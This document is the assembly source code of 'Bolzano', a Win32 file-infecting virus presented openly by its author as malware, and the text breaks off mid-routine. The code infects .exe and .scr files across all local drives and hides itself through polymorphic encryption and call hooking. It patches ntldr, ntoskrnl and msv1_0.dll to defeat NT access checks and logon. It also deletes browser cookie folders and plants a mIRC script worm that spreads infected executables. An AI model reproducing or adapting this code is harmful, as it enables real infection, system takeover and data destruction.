;
;
;            ---------------------------------------------------  
;
;                              --- BOLZANO ---
;
;            ---------------------------------------------------     
;
;
;
; TASM       /ml /zi BOLZANO
; TLINK32  -aa -r -v BOLZANO,,,\TASM\LIB\IMPORT32.LIB
;


.386


RADIX        16


ASSUME       CS:VIRUS,DS:VIRUS


HOST         SEGMENT      'CODE'


MAIN:

             pushad
             jmp          VS


EXTRN        Beep                                   
                                                    
                                                    
HOST         ENDS


;
; the data segment is used since it is writeable
;


VIRUS        SEGMENT      'DATA'


X            equ          ebp - VS

NbHooks      equ          40


;
; Here starts the virus body
;

VS:

             call         GetEIP

;
; determine on which OS the virus is running
; the code may seem strange, but it works
;


OS_Test:

             mov          edi,10C00
             mov          ecx,100
             xor          eax,eax
             repz         scasb
             jnz          short Win9x

WinNT:

             mov          esi,offset WNT_GPA_Key - VS
             mov          edi,77F00000
             jmp          short Find_GPA

Win9x:

             mov          esi,offset W9x_GPA_Key - VS
             mov          edi,0BFF70000

;
; now the virus looks for the GetProcAddress function, in order
; to relocate its own imporations
;


Find_GPA:

             add          esi,ebp
             mov          [K32_Base + X],edi
             mov          edx,40000                 ; GPA search depth
             cld

ScanKernel32:

             mov          ecx,08
             push         esi
             push         edi
             repz         cmpsb
             pop          edi
             pop          esi
             jz           short Found_GPA
             inc          edi
             dec          edx
             jz           ExitVS
             jmp          short ScanKernel32

Found_GPA:
                                               
             add          edi,03
             mov          esi,offset Kernel32_API - VS
             add          esi,ebp

GetAddresses:                                                   

             mov          eax,esi
             add          eax,07
             push         eax
             mov          eax,[K32_Base + X]
             push         eax
             call         edi                  ; edi points to GetProcAddress
             or           eax,eax
             jz           ExitVS
             mov          [esi + 01],eax
             add          esi,07

NextFunction:

             lodsb
             or           al,al
             jnz          short NextFunction

             cmp          byte ptr [esi],0B8
             jz           short GetAddresses

Initialize:

             call         GetTickCount
             mov          [RandNb + X],eax

             mov          eax,offset Buffer1 - VS
             add          eax,ebp
             mov          [B1A + X],eax

             mov          eax,offset Buffer2 - VS
             add          eax,ebp
             mov          [B2A + X],eax

;
; The current month is used by the virus to determine if it has
; already infected a program, so every month the virus reinfects
; all files on the computer. This makes disinfection harder.
;

             push         dword ptr [B1A + X]
             call         GetLocalTime

             mov          al,[Buffer1 + X + 2]
             mov          [SelF + X],al

;
; When executed as a Mirc Worm, bolzano cannot return to an host,
; so it will directly jump back to the kernel32
;


             cmp          byte ptr [MircWormFlag + X],01
             jnz          short NormalExecution

             call         Reproduce

             popad
             ret

;
; as the HostCalls data will be modified before the infection,
; it must be saved somewhere
;

NormalExecution:

             mov          esi,offset HostCalls - VS
             add          esi,ebp
             mov          edi,offset Somewhere - VS
             add          edi,ebp
             mov          ecx,NbHooks * 2
             cld
             repz         movsd

;
; change the Poly routine so that it will directly
; jump to ExitVS
;

             mov          edi,[Hooker + X]
             mov          ax,0B860
             stosw                                  ; pushad
             mov          eax,offset ExitVS - VS    ; mov eax,offset ExitVS
             add          eax,ebp
             stosd
             mov          eax,0E0FF
             stosw                                  ; jmp near eax


;
; The virus must pass control to the host program quickly, or
; it would alert the user. But as infecting the computer takes
; a little time, the virus creates a new thread, which will
; be executed as the same time as the host.
;

             mov          eax,offset ThreadID - VS   ; lpThreadID
             add          eax,ebp                    
             push         eax
             push         0                          ; dwCreationFlags
             push         ?                          ; lpParameter
             mov          eax,offset Reproduce - VS  ; lpStartAddress
             add          eax,ebp                   
             push         eax                       
             push         0                          ; dwStackSize
             push         0                          ; lpThreadAttributes
             call         CreateThread               ; launch viral thread

;
; the previous version of bolzano hooked the host kernel32 return
; address, in order to kill the viral thread when the host thread
; terminated. This wasn't necessary, as the infection does not
; last long : when every file on the computer is already infected,
; it takes less than 20 seconds
;

;
; now give control back to the host
;

ExitVS:

             call         GetEIP

             mov          edx,[esp + 20]            ; host call return address
             mov          ecx,NbHooks               ; number of calls hooked
             sub          edx,5                     ; size of call XXX = 5

             mov          esi,offset Somewhere - VS
             add          esi,ebp

GetCall:

             lodsd
             cmp          eax,edx
             lodsd
             jz           short GotIt
             loop         GetCall

;
; if we get here, something wrong is happening
; so the virus will have to skip the host call
;

             popad
             ret


;
; jump to the original call destination
;


GotIt:

             mov          [BackToHost + X],eax

             popad

;
; flush the prefetch Buffer1
;

             db           0EBh,00

             db           68
BackToHost   dd           ?

             ret


;
; ----------------------------
; the viral thread starts here
; ----------------------------
;


Reproduce:


;
; save ebp, as the Win9x kernel32 requires the original value
; when the thread terminates
;

             push         ebp
             call         GetEIP

;
; determine the current directory (and consequently the current disk)
;

             mov          eax,offset CurrentDir - VS
             add          eax,ebp
             push         eax
             push         104
             call         GetCurrentDirectoryA

             mov          al,[CurrentDir + X]
             mov          [InitialDisk + X],al

             mov          eax,offset CurrentDir + 3 - VS
             add          eax,ebp
             mov          [CDirEnd + X],eax
                                                  
;
; first, infect the disk on which the virus started
;

             call         InfectDisk


; -----------------------------

;            pop          ebp          ; for debug
;            ret                       ; (useful with subst)

; -----------------------------

;
; scan local disks from A to Z
;

             mov          al,'A'
             mov          [CurrentDir + X],al

ScanDisks:
                                                  
;
; avoid infecting the same disk twice
;

             db           3C
InitialDisk  db           ?
             jz           short AlreadyDone

             call         InfectDisk

AlreadyDone:

             mov          al,[CurrentDir + X]
             inc          al
             mov          [CurrentDir + X],al

             cmp          al,'Z'
             jna          short ScanDisks

             pop          ebp
             ret

;
; this function justs checks if the disk can be infected
;

InfectDisk:

             mov          eax,[B1A + X]
             mov          ebx,005C3A3F            ; '?:\',0
             mov          bl,[CurrentDir + X]
             mov          [eax],ebx
             push         eax
             call         GetDriveTypeA

             cmp          eax,01                  ; no drive
             jz           short SkipDisk

             cmp          eax,02                  ; floppy disk
             jz           short SkipDisk

             cmp          eax,05                  ; cd-rom
             jz           short SkipDisk

;
; if you know the type of the zip drive, please put it here
;
;            cmp          eax,??                  ; zip drive
;            jz           short SkipDisk

;
; These 4 functions make this virus quite useful :)
;

             call         NukeNTSecurity

             call         NukeNTLogon

             call         NukeCookies

             call         AddMircWorm

;
; now go on with the infection
;

             call         StartSearch

SkipDisk:

             ret


;
; recursive search routine
;


StartSearch:

             mov          eax,[CDirEnd + X]
             mov          dword ptr [eax],002A2E2A  ; '*.*'

;
; start searching for files located in CurrentDir
;

             push         dword ptr [B1A + X]
             mov          eax,offset CurrentDir - VS
             add          eax,ebp
             push         eax
             call         FindFirstFileA

             cmp          eax,-1
             jnz          short AccessOk
             ret

AccessOk:

             mov          [SearchHandle + X],eax

FileTest:

             mov          ebx,[B1A + X]

;
; FindFile structure :
;
;    + 00 : File Attributs
;
;    + 04 : CreationTime
;    + 0C : LastAccessTime
;    + 14 : LastWriteTime
;
;    + 20 : File Size
;
;    + 2C : File Name
;

             cmp          byte ptr [ebx + 2C],'.'
             jz           NextFile

;
; al = file attributes
;
; bit 0 : read-only
;     1 : hidden
;     2 : system
;     4 : directory
;

             mov          eax,[ebx]
             test         al,10
             jz           short IsFileOk

;
; search through the new directory
;

             mov          esi,ebx
             add          esi,2C

             mov          edi,[CDirEnd + X]
             push         edi
             cld

AddDir:

             movsb
             cmp          byte ptr [esi],0
             jnz          short AddDir

             mov          al,'\'
             stosb

             mov          [CDirEnd + X],edi
             push         dword ptr [SearchHandle + X]

             call         StartSearch

             pop          dword ptr [SearchHandle + X]
             pop          dword ptr [CDirEnd + X]

             jmp          NextFile

;
; to be infectable, the file must conform to the requirements :
;
; - it mustn't be an AV program
; - the extent has to be .exe or .scr
; - its size must be >= 16384
; - it shouldn't be already infected
; 


IsFileOk:

             mov          eax,[ebx + 2C]
             or           eax,20202020
             mov          ecx,eax

             mov          esi,offset AV_Names - VS
             add          esi,ebp

CheckIfAV:

             lodsd
             cmp          eax,ecx
             jz           short NextFile

             or           eax,eax
             jnz          short CheckIfAV

             mov          esi,ebx
             add          esi,2C
             cld

GetFileExtent:

             lodsb
             or           al,al
             jnz          short GetFileExtent

             mov          eax,[esi-4]
             or           eax,20202020

             cmp          eax,' exe'
             jz           short Executable

             cmp          eax,' rcs'
             jnz          short NextFile                   

Executable:
             
             mov          eax,[ebx + 20]
             mov          [FileSize + X],eax
             cmp          eax,4000                  ; minimum filesize
             jc           short NextFile

             mov          eax,offset FileTime - VS
             add          eax,ebp
             push         eax
             sub          eax,2                            ; FileDate
             push         eax                                  
             mov          eax,offset Buffer1 + 14 - VS     ; LastWriteTime
             add          eax,ebp
             push         eax
             call         FileTimeToDosDateTime

             or           eax,eax                   
             jz           short NextFile            ; no CreationTime

;
; The program has been infected if LastWriteTime verifies :
; (seconds and 0F) xor (days and 0F) = self-infection mask
;

             mov          al,[FileTime + X]
             and          al,0F
             mov          cl,[FileDate + X]
             and          cl,0F
             xor          al,cl
             cmp          al,[SelF + X]
             jz           short NextFile

             call         InfectFile

NextFile:             

             push         dword ptr [B1A + X]
             push         dword ptr [SearchHandle + X]
             call         FindNextFileA

             or           eax,eax
             jnz          FileTest

EndSearch:

             push         dword ptr [SearchHandle + X]
             call         FindClose
             ret


InfectFile:

;
; concatenate the current directory and the file name
; to get the full pathname
;


             mov          byte ptr [MircWormFlag + X],00

             mov          esi,offset CurrentDir - VS
             add          esi,ebp
             mov          edi,[B2A + X]
             mov          ecx,[CDirEnd + X]
             sub          ecx,esi
             repz         movsb

             mov          esi,offset Buffer1 + 2C - VS
             add          esi,ebp

GetFileName:

             movsb
             cmp          byte ptr [esi - 1],0
             jnz          short GetFileName

             push         02
             push         dword ptr [B2A + X]
             call         _lopen

             cmp          eax,-1
             jnz          short OpenOk
             ret

OpenOk:

             mov          [FileHandle + X],eax


;
; Allocate 4000h for the file header
;

             push         04                        ; flProtect
             push         1000                      ; flAllocationType
             push         4000                      ; dwSize
             push         00                        ; lpAddress
             call         VirtualAlloc

             or           eax,eax
             jz           AllocFailed

             mov          [FBA + X],eax

             push         4000
             push         eax
             push         dword ptr [FileHandle + X]
             call         _lread

;
; check if the file is a standard PE (Portable Executable) program
;

;
; DOS EXE Signature
;

             mov          ebx,[FBA + X]

             cmp          word ptr [ebx],'ZM'
             jnz          ExitInfect

;
; Windows Executable (can be a NE or a PE)
;


             cmp          word ptr [ebx + 18],0040
             jc           ExitInfect

;
; make sure the DOS header is not too big
;

             cmp          dword ptr [ebx + 3C],3C00
             ja           ExitInfect

;
; ebx points to the start of the PE header
;

             add          ebx,[ebx + 3C]

;
; check the PE signature
; 

             cmp          dword ptr [ebx],00004550
             jnz          ExitInfect

;
; 386-compatible processors
;

             cmp          word ptr [ebx + 04],014C
             jc           ExitInfect

             cmp          word ptr [ebx + 04],014F
             ja           ExitInfect

;
; it is very important no to infect native subsystem programs
; (NT device drivers) which are loaded before the kernel32
;

             cmp          word ptr [ebx + 5C],2
             jc           ExitInfect

;
; Under NT, don't infect programs which run in the character subsystem
;

             cmp          dword ptr [K32_Base + X],77F00000
             jnz          short Safe03

             cmp          word ptr [ebx + 5C],3
             jz           ExitInfect

Safe03:

;
; esi contains the first section offset
;

             mov          esi,ebx
             add          esi,18
             add          si,word ptr [ebx + 14]

;
; it should be a code section
;

             test         dword ptr [esi + 24],20000000
             jz           ExitInfect

             mov          eax,[esi + 10]
             mov          [Code_Size + X],eax

             cmp          eax,0400
             jc           ExitInfect

             mov          eax,[esi + 0C]
             mov          [Code_RVA + X],eax

             mov          eax,[esi + 14]
             mov          [Code_Offset + X],eax

;
; edi contains the last section offset
;

             xor          eax,eax
             mov          ax,[ebx + 06]
             dec          eax
             mov          ecx,28
             mul          ecx
             mov          edi,eax
             add          edi,esi

;
; get the biggest section size (can be the virtual size or the physical size)
;

             mov          eax,[edi + 08]

             mov          ecx,[FileSize + X]
             sub          ecx,[edi + 14]

             cmp          eax,ecx
             ja           short Bigger

             mov          eax,ecx

;
; now align on 1000h (as the image size must be a multiple of 1000h)
;


Bigger:

             test         eax,00000FFF
             jz           short AlignOk

             and          eax,0FFFFF000
             add          eax,1000

AlignOk:

             mov          [LastSSize + X],eax

;
; calculate the Poly routine start address
;

             mov          ecx,[ebx + 34]
             mov          [ImageBase + X],ecx

             add          ecx,[edi + 0C]            ;   section address
             add          ecx,[LastSSize + X]
             mov          [VirusAddress + X],ecx                

             call         GetRandGarbage            ; + 100h max
             mov          [GarbageSize + X],eax

             add          ecx,eax
             add          ecx,IDATSize
             mov          [Hooker + X],ecx

;
; The virus should better not infect self-extracting programs,
; especially WinZip ones, as most of them have a self-intergrity
; check.
;
; A program is considered to be self-extracting if :
; (FileSize - (FileSize) / 16) >= Last Section Physical End
;
; Normally, FileSize / 16 represents the debug information size
;

             mov          eax,[FileSize + X]
             mov          ecx,eax
             clc
             shr          ecx,04
             sub          eax,ecx                   ; - File Size / 16
             sub          eax,[edi + 14]            ; - Physical Offset
             jc           short NoSfx     

             sub          eax,[edi + 10]            ; - Raw Size
             jnc          ExitInfect             

NoSfx:

;
; increase the image size, the last section size and make it writable
;

             mov          eax,[LastSSize + X]
             add          eax,RawVSize
             mov          ecx,eax
             mov          [edi + 08],eax
             mov          [edi + 10],eax

             add          eax,[edi + 0C]
             mov          [ebx + 50],eax

             or           dword ptr [edi + 24],80000000

             add          ecx,[edi + 14]
             mov          eax,ecx
             sub          ecx,RawVSize
             mov          [VirusOffset + X],ecx

;
; now start the memory projection
;

             push         00                        ; lpName
             push         eax                       ; dwMaximumSizeLow
             push         00                        ; dwMaximumSizeHigh
             push         04                        ; Read/Write
             push         00                        ; lpFileMappingAttributes
             push         dword ptr [FileHandle + X]
             call         CreateFileMappingA

             or           eax,eax
             jz           ExitInfect

             mov          [MapHandle + X],eax

             push         00                        ; dwNumberOfBytesToMap
             push         00                        ; FileOffsetLow
             push         00                        ; FileOffsetHigh
             push         02                        ; dwDesiredAccess
             push         dword ptr [MapHandle + X] ; hMapFile
             call         MapViewOfFile

             or           eax,eax
             jz           CloseMap

             mov          [MapBase + X],eax

;
; Fill the size added to the program with blanks, as Win9x often
; leaves it dirty
;
             
             push         eax
             mov          edi,eax
             add          edi,[FileSize + X]
             mov          ecx,[VirusOffset + X]
             sub          ecx,[FileSize + X]
             or           ecx,ecx
             jz           short WriteHeader

             xor          al,al
             repz         stosb

;
; Write the new header
;

WriteHeader:

             mov          esi,[FBA + X]
             pop          edi
             mov          ecx,4000
             repz         movsb

;
; Here comes the tricky part. The virus won't modify the host
; EntryPoint, but it will roam through the code in order to
; find (NbHooks) call XXX and hook them to the polymorphic routine
;

             mov          byte ptr [Tries + X],NbHooks

             mov          edi,offset HostCalls - VS
             add          edi,ebp

Hook1Call:

;
; get a random location in the code section
;

             call         GetRandLoc
             mov          [Code_Loc + X],eax

;
; start searching for the call opcode (0E8) 
;

             add          eax,[Code_Offset + X]
             add          eax,[MapBase + X]
             mov          esi,eax

             mov          ecx,200 - 5
             xor          ebx,ebx

Find1Call:

             lodsb
             cmp          al,0E8
             jz           short Found1

Invalid:

             inc          ebx
             loop         Find1Call

NextCall:

             db           0B0
Tries        db           ?
             dec          al
             mov          [Tries + X],al

             or           al,al
             jz           short ThatsEnough
             jmp          short Hook1Call


;
; Check if the call we have found refers to the current code
; section (otherwise it is invalid) and then hook it
;


Found1:

             mov          eax,[esi]

             cmp          eax,80
             jc           short Invalid

             add          eax,5
             add          eax,ebx
             add          eax,[Code_Loc + X]

             cmp          eax,[Code_Size + X]
             jnc          short Invalid

             add          eax,[Code_RVA + X]
             add          eax,[ImageBase + X]

             mov          [edi + 4],eax

             sub          eax,5
             sub          eax,[esi]
             mov          [edi],eax

             add          eax,5
             neg          eax
             add          eax,[Hooker + X]
             mov          [esi],eax

             add          edi,8

             jmp          short NextCall

ThatsEnough:

             call         GetPolyRoutine

;
; fill the uninitialized data (mostly buffers) with blanks
;

             mov          ecx,RawVSize
             sub          ecx,edi
             add          ecx,[VStart + X]
             xor          al,al
             repz         stosb

             mov          eax,[MapBase + X]
             push         eax
             call         UnmapViewOfFile

CloseMap:

             push         dword ptr [MapHandle + X]
             call         _lclose

;
; mark the program as infected
;
; the virus changes the seconds of last write so that :
; (seconds and 0F) xor (days and 0F) = mask (current month)
;


ExitInfect:

             push         8000                      ; dwFreeType
             push         00                        ; dwSize
             push         dword ptr [FBA + X]       ; lpAddress
             call         VirtualFree

AllocFailed:

             mov          cl,[FileDate + X]                 ; cl = days
             and          cl,0F
             xor          cl,[SelF + X]
             
             mov          al,[FileTime + X]                 ; al = seconds
             and          al,0F0
             add          al,cl
             mov          [FileTime + X],al

             mov          eax,offset Buffer1 + 14 - VS      ; LastWriteTime
             add          eax,ebp
             push         eax
             mov          ax,[FileTime + X]
             push         eax
             mov          ax,[FileDate + X]
             push         eax
             call         DosDateTimeToFileTime

             mov          eax,offset Buffer1 + 14 - VS      ; LastWriteTime
             add          eax,ebp
             push         eax
             sub          eax,08                            ; LastAcessTime
             push         eax
             sub          eax,08                            ; CreationTime
             push         eax
             push         dword ptr [FileHandle + X]
             call         SetFileTime

             push         dword ptr [FileHandle + X]
             call         _lclose
             ret

;
; polymorphic routine structure :
;
;            mov          Reg32_A,(IDATSize + GarbageSize) / 4
;            mov          Reg32_B,offset VS           (virus address)
;            mov          Reg32_C,[Key1]              (decryption start key)
; loop: 
;            xor          [Reg32_B],Reg32_C
;            add          Reg32_B,4
;            add/sub      Reg32_C,[Key2]              (fixed key)
;            rol/ror      Reg32_C,Key3
;            dec          Reg32_A
;            jz           VS
;            jmp          loop
;
;
; Each key is located somewhere in the code section
; 


GetPolyRoutine:

             mov          esi,ebp

             mov          edi,[VirusOffset + X]
             add          edi,[MapBase + X]
             mov          [VStart + X],edi

;
; choose between rol / ror, and add / sub
;

             call         GetRandNb
             and          eax,01
             mov          ecx,28
             mul          ecx

             mov          cl,al
             add          cl,03
             mov          [AsOpCode + X],cl

             add          al,0C3
             mov          [EC_AddSub + X],al

             call         GetRandNb
             and          al,01
             shl          al,3
             add          al,0C0
             mov          [RlModRM + X],al

             add          al,03
             mov          [EC_RolRor + X],al

;
; get the decryption keys
;

             call         GetRandKey
             push         eax
             mov          [Key1_Addr + X],edx

             call         GetRandKey
             mov          [EC_Key2 + X],eax
             mov          [Key2_Addr + X],edx

             call         GetRandNb
             clc
             shr          eax,1C
             mov          byte ptr [EC_Key3 + X],al
             mov          byte ptr [Key3 + X],al

             mov          ecx,IDATSize
             clc
             shr          ecx,2

             pop          ebx

;
; put the encrypted copy of the virus
;


EncryptCode:

             lodsd
             xor          eax,ebx
             stosd

             db           81
EC_AddSub    db           ?             
EC_Key2      dd           ?

             db           0C1
EC_RolRor    db           ?
EC_Key3      db           ?


             loop         EncryptCode


             mov          eax,[GarbageSize + X]
             call         AddSomeGarbage

;
; create the polymorphic routine
;

             mov          al,60
             stosb                                  ; pushad

             mov          bl,10                     ; don't touch esp !

             call         GetRandCode               

             call         GetRandReg                ; mov Reg32_A,IDATSize / 4
             add          bl,al
             mov          al,cl
             mov          [Reg32_A + X],al
             add          al,0B8
             stosb

             mov          eax,IDATSize              ; + initilized code
             add          eax,[GarbageSize + X]     ; + garbage
             sub          eax,08
             clc
             shr          eax,2
             stosd                                  ; = size to decrypt

             call         GetRandCode               

GetRegB:

             call         GetRandReg                ; mov Reg32_B,offset VS
             cmp          cl,05                     ; don't use ebp
             jz           short GetRegB             ; (sib problem)

             add          bl,al
             mov          al,cl
             mov          [Reg32_B + X],al
             add          al,0B8
             stosb
             mov          eax,[VirusAddress + X]
             stosd

             call         GetRandCode

             mov          al,8Bh                    ; mov Reg32_C,[Key1_Addr]
             stosb
             call         GetRandReg
             add          bl,al
             mov          al,cl
             mov          [Reg32_C + X],al
             sal          al,03
             add          al,05
             stosb

             mov          eax,[Key1_Addr + X]
             stosd

             mov          [LoopStart + X],edi

             call         GetRandCode

             mov          al,31                     ; xor [Reg32_B],Reg32_C
             stosb
             mov          al,[Reg32_C + X]
             sal          al,03
             add          al,[Reg32_B + X]
             stosb

             call         GetRandCode

             mov          al,83                     ; add Reg32_B,4
             stosb
             mov          al,[Reg32_B + X]
             add          al,0C0
             stosb
             mov          al,04
             stosb

             call         GetRandCode

             mov          al,[AsOpCode + X]         ; add/sub Reg32_C,[Key2_Addr]
             stosb
             mov          al,[Reg32_C + X]
             sal          al,03
             add          al,05
             stosb

             mov          eax,[Key2_Addr + X]
             stosd

             call         GetRandCode

             mov          al,0C1                    ; rol/ror Reg32_C,Key3
             stosb
             mov          al,[Reg32_C + X]
             add          al,[RlModRM + X]
             stosb
             mov          al,[Key3 + X]
             stosb

             call         GetRandCode

             mov          al,[Reg32_A + X]          ; dec Reg32_A
             add          al,48
             stosb

             mov          ax,840F                   ; jz VS
             stosw

             mov          eax,edi
             add          eax,4
             sub          eax,[VStart + X]
             neg          eax
             stosd

             call         GetRandCode

             mov          al,0EBh                   ; jmp Loop
             stosb
             mov          eax,edi
             inc          eax
             sub          eax,[LoopStart + X]
             neg          eax
             stosb

;
; add again some garbage
;

             call         GetRandGarbage
             call         AddSomeGarbage
             ret


AddSomeGarbage:

             mov          ecx,eax

ASG:
             call         GetRandNb
             stosb
             loop         ASG
             ret


GetRandReg:

             call         GetRandNb
             and          al,07
             mov          cl,al
             mov          al,01
             sal          al,cl
             test         al,bl
             jnz          short GetRandReg
             ret

GetRandCode:

             call         GetRandNb
             and          al,01
             add          al,01
             xor          ecx,ecx
             mov          cl,al

InstrLoop:

             push         ecx
             call         GetRandInstr
             pop          ecx
             loop         InstrLoop
             ret

GetRandInstr:

             call         GetRandNb

             and          al,03

             or           al,al
             jz           short IncR32

             cmp          al,01
             jz           short DecR32

             cmp          al,02
             jz           short MovR8I8

             cmp          al,03
             jz           short MovR32I32

IncR32:

             call         GetRandReg
             mov          al,cl
             add          al,40
             stosb
             ret

DecR32:

             call         GetRandReg
             mov          al,cl
             add          al,48
             stosb
             ret

MovR8I8:

             call         GetRandReg
             cmp          cl,03
             ja           short MovR8I8

             call         GetRandNb
             and          al,01
             shl          al,02
             add          al,cl
             add          al,0B0
             stosb
             call         GetRandNb
             stosb
             ret

MovR32I32:

             call         GetRandReg
             mov          al,cl
             add          al,0B8
             stosb
             call         GetRandNb
             stosd
             ret

GetRandLoc:

             call         GetRandNb
             mov          ecx,eax
             mov          eax,[Code_Size + X]
             sub          eax,40
             mul          ecx
             mov          ecx,-1
             div          ecx
             ret

GetRandKey:

             push         esi

GRL:

             call         GetRandLoc
             mov          edx,eax

             add          eax,[MapBase + X]
             add          eax,[Code_Offset + X]

             mov          esi,eax                   ; make sure the key does
             sub          esi,4                     ; not stand near a call
             mov          ecx,8                     ; or it would cause
                                                    ; problems if the host
CheckIfCall:                                        ; is reinfected

             lodsb
             cmp          al,0E8
             jz           short GRL
             loop         CheckIfCall

             add          edx,[ImageBase + X]
             add          edx,[Code_RVA + X]
             mov          eax,[esi - 4]
             pop          esi
             ret

GetRandGarbage:

             call         GetRandNb
             sub          eax,20000000
             clc
             shr          eax,18
             add          eax,20
             ret

GetRandNb:

             mov          eax,dword ptr [RandNb + X]
             mul          dword ptr [RMul + X]
             div          dword ptr [RDiv + X]
             mov          eax,edx
             mov          dword ptr [RandNb + X],eax
             ret



;
; IMPORTANT : this function does a correct job under NT 4
; with sevice pack 3, but it might corrupt ntldr and
; ntoskrnl under windows 2000 (if they still exist)
;


; this patch can only be implemented in administrator mode


NukeNTSecurity:

;
; every time NT starts, ntldr checks ntoskrnl to see
; if it hasn't been modified; if so, the system will halt.
; this protection must be removed, unless the ntoskrnl patch
; won't be accepted
;

             mov          dword ptr  [PatchSize + X],05

             mov          eax,offset NewFileCheck - VS
             add          eax,ebp
             mov          dword ptr  [Patch + X],eax

             mov          eax,offset OldFileCheck - VS
             add          eax,ebp
             mov          dword ptr  [Signature + X],eax

             mov          eax,offset NTLDR - VS
             add          eax,ebp
             mov          dword ptr  [_Filename + X],eax
             
             call         PatchFile

;
; SeAccessCheck returns 00 in al if permission is denied
; and 01 if permission is given. When the patch is installed,
; the function will automatically return 01. Therefore,
; evrey user will gain total control on the whole system.
;

             mov          dword ptr  [PatchSize + X],09

             mov          eax,offset NewSeAccessC - VS
             add          eax,ebp
             mov          dword ptr  [Patch + X],eax

             mov          eax,offset OldSeAccessC - VS
             add          eax,ebp
             mov          dword ptr  [Signature + X],eax

             mov          eax,offset NTOSKRNL - VS
             add          eax,ebp
             mov          dword ptr  [_Filename + X],eax
             
             call         PatchFile

             ret


NukeNTLogon:

;
; All the logon job is done by msgina.dll (which is the real winlogon,
; have a look at its InternalName ;-) ). This dll calls msv1_0.dll to
; verify the password. But as msv1_0 is loaded in memory, it is
; write-protected. So we have to patch again the ntoskrnl NtWriteFile
; function, so that it won't care about the write permissions. The next
; time NT will start, all dll's (especially msv1_0, but also kernel32)
; will be writeable.
;

             mov          dword ptr  [PatchSize + X],07

             mov          eax,offset NewWriteFile - VS
             add          eax,ebp
             mov          dword ptr  [Patch + X],eax

             mov          eax,offset OldWriteFile - VS
             add          eax,ebp
             mov          dword ptr  [Signature + X],eax

             mov          eax,offset NTOSKRNL - VS
             add          eax,ebp
             mov          dword ptr  [_Filename + X],eax
             
             call         PatchFile

;
; Now just patch that undocumented function
; REM : sometimes this patch just does not work,
; although msv1_0 is correctly patched. This
; happens when passwords are stored on the
; server, not on the workstation. But it works
; fine on a single workstation.
;

             mov          dword ptr  [PatchSize + X],06

             mov          eax,offset NewLogonTest - VS
             add          eax,ebp
             mov          dword ptr  [Patch + X],eax

             mov          eax,offset OldLogonTest - VS
             add          eax,ebp
             mov          dword ptr  [Signature + X],eax

             mov          eax,offset MSV1_0 - VS
             add          eax,ebp
             mov          dword ptr  [_Filename + X],eax
             
             call         PatchFile

             ret
             
PatchFile:

             mov          al,byte ptr [CurrentDir + X]
             mov          ecx,[_Filename + X]
             mov          [ecx],al

             push         20
             push         dword ptr [_Filename + X]
             call         SetFileAttributesA

             push         02
             push         dword ptr [_Filename + X]
             call         _lopen

             cmp          eax,-1
             jnz          short OpenRW_Ok

             push         00
             push         dword ptr [_Filename + X]
             call         _lopen

             cmp          eax,-1
             jz           ExitPatch

OpenRW_Ok:

             mov          [FileHandle + X],eax

ScanFile:

             push         200
             push         dword ptr [B2A + X]
             push         dword ptr [FileHandle + X]
             call         _lread

             cmp          eax,200
             jc           short EOF

             push         01
             push         -10
             push         dword ptr [FileHandle + X]
             call         _llseek

             mov          esi,[Signature + X]
             mov          edi,[B2A + X]
             mov          edx,01F0
             cld

Find_Sig:

             mov          ecx,[PatchSize + X]
             push         esi
             push         edi
             repz         cmpsb
             pop          edi
             pop          esi
             jz           short Success
             inc          edi
             dec          edx
             jz           ScanFile
             jmp          short Find_Sig

Success:

             mov          esi,[Patch + X]
             mov          ecx,[PatchSize + X]
             repz         movsb

             push         01
             push         -1F0
             push         dword ptr [FileHandle + X]
             call         _llseek

             push         200                       
             push         dword ptr [B2A + X]
             push         dword ptr [FileHandle + X]
             call         _lwrite

EOF:

             push         dword ptr [FileHandle + X]
             call         _lclose

ExitPatch:

             ret

;
; kills \WINDOWS\Cookies and \WINNT\Cookies
;

NukeCookies:

             mov          eax,offset CookiesDir1 - VS
             add          eax,ebp
             call         TrashDirectory

             mov          eax,offset CookiesDir2 - VS
             add          eax,ebp
             call         TrashDirectory
             ret


TrashDirectory:


             push         dword ptr [B1A + X]
             push         eax
             call         FindFirstFileA

             cmp          eax,-1
             jnz          short ValidDir
             ret

ValidDir:

             mov          [SearchHandle + X],eax

CleanIt:

             mov          eax,[B1A + X]
             add          eax,2C
             push         eax
             call         DeleteFileA

             push         dword ptr [B1A + X]
             push         dword ptr [SearchHandle + X]
             call         FindNextFileA

             or           eax,eax
             jnz          short CleanIt
             ret

;
; This function uses the same method as TOADiE :
;
;  - create a new script.ini in the \mirc directory
;    which will automatically send an exceutable infected file
;    (name not fixed, but randomly generated)
;  - however the script.ini will not contain any trigger
;  


AddMircWorm:

             mov          byte ptr [MircWormFlag + X],01

             mov          edi,offset MircName - VS
             add          edi,ebp

             mov          al,byte ptr [CurrentDir + X]
             stosb
             mov          byte ptr [ScriptName + X],al

;
; first, get a randomly generated name
;

             add          edi,7
             mov          ecx,5

GetRandName:

             call         GetRandNb
             clc
             shr          eax,1C
             mov          esi,eax
             add          esi,offset RandLetters - VS
             add          esi,ebp
             movsb
             loop         GetRandName

             add          edi,4
             mov          ax,0A0Dh
             stosw

;
; If script.ini already exists, check if is a genuine bolzano script
;

             push         00
             mov          eax,offset ScriptName - VS
             add          eax,ebp
             push         eax
             call         _lopen

             cmp          eax,-1
             jz           short CreateScript

             mov          dword ptr [FileHandle + X],eax

             push         00
             push         dword ptr [FileHandle + X]
             call         GetFileSize

;
; If the script has been created by bolzano, its size should be 108d
;

             cmp          eax,6C
             jz           AbortMirc

             push         dword ptr [FileHandle + X]
             call         _lclose

;
; and create the new script
;

CreateScript:

             push         00
             mov          eax,offset ScriptName - VS
             add          eax,ebp
             push         eax
             call         _lcreat

             cmp          eax,-1
             jz           AbortMirc

             mov          [FileHandle + X],eax

             push         offset MircEnd - offset MircScript
             mov          eax,offset MircScript - VS
             add          eax,ebp
             push         eax
             push         dword ptr [FileHandle + X]
             call         _lwrite

             push         dword ptr [FileHandle + X]
             call         _lclose


;
; create the Worm
;

             mov          byte ptr [MircName + 11 + X],00

             push         00
             mov          eax,offset MircName - VS
             add          eax,ebp
             push         eax
             call         _lcreat

             mov          dword ptr [FileHandle + X],eax

;
; calculate the worm size = header (400h) + Xtra Garbage (100h)
;                         + virus body (IDATSize) + Other Garbage
;

             mov          eax,500
             add          eax,IDATSize
             add          eax,400                   
             and          eax,0FFFFFE00             ; align on 200h
             add          eax,200

             push         eax

             mov          ecx,eax
             sub          ecx,400
             mov          dword ptr [WormSection + 10 + X],ecx

;
; launch the memory projection
;

             push         00
             push         eax
             push         00
             push         04
             push         00
             push         dword ptr [FileHandle + X]
             call         CreateFileMappingA

